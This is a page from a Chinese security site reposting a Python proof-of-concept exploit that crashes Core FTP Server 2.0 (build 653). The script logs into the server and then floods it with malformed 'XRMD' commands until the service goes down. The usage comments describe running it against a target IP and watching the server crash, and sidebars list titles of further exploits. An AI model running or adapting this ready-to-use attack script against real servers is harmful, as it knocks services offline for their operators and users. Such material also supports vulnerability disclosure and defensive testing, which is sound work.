首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Core FTP 2.0 - 'XRMD' Denial of Service (PoC)
来源:vfocus.net 作者:Martin 发布时间:2018-07-30  

# Exploit Title: Core FTP 2.0 - 'XRMD' Denial of Service (PoC)
# Date: 2018-07-24
# Exploit Author: Erik David Martin
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://www.coreftp.com/server/download/CoreFTPServer.exe
# Version: Version 2.0, build 653, 32-bit
# Tested on: Windows XP Professional, Version 2002, Service Pack 3
# CVE: N/A

# Proof of concept:
# Create a new domain and set IP address
# Use the default certificate by Core FTP Server
# Set base directory
# Create an anonymous user (anonymous:anonymous) for example
# Set a path for the user
# Start the server
# Run exploit: python exploit.py *target ip* anonymous anonymous
# Watch the server crash...
# The exploit will work for any user, and not just anonymous

import sys
import socket

try:
 host = sys.argv[1]
 username = sys.argv[2]
 password = sys.argv[3]
except:
 print("Usage: exploit.py *target ip* *username* *password*")
 sys.exit()

mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #
mysocket.settimeout(2)

try:
 mysocket.connect((host,21))
 mysocket.recv(1024)
 print("\n[+] Connected\n")
except:
 print("[-] Error! Could not connect to target")
 sys.exit()

junk = ("asO8M.lFX[Gq<4<p(.P5eMLv]\2!G8jB_6Gx[I;I!aYa#oAi@kI<f.QFwkSBiQ,!")

try:
 mysocket.send("USER " + username + "\r\n")
 mysocket.recv(1024)
 mysocket.send("PASS " + password + "\r\n")
 mysocket.recv(1024)
 print("[+] Logged in as " + username)
except:
 print("[-] Error! Could not log in as " + username)
 sys.exit()

print("[+] Sending malicious request")

while True:
 try:
  mysocket.send("XRMD " + junk + "\r\n")
  mysocket.recv(1024)
 except:
  print("[+] Target is down\n")
  sys.exit()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Inteno’s IOPSYS - (Authentica
·QNap QVR Client 5.1.1.30070 -
·FTPShell Client 5.22 Remote Bu
·NetScanTools Basic Edition 2.5
·Axis Network Camera Remote Com
·WordPress Plugin Responsive Th
·CleanMyMac3 Local Privilege Es
·ipPulse 1.92 - 'IP Address/Hos
·GetGo Download Manager 6.2.1.3
·ipPulse 1.92 Denial Of Service
·10-Strike LANState 8.8 - Local
·Allok MOV Converter 4.6.1217 B
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved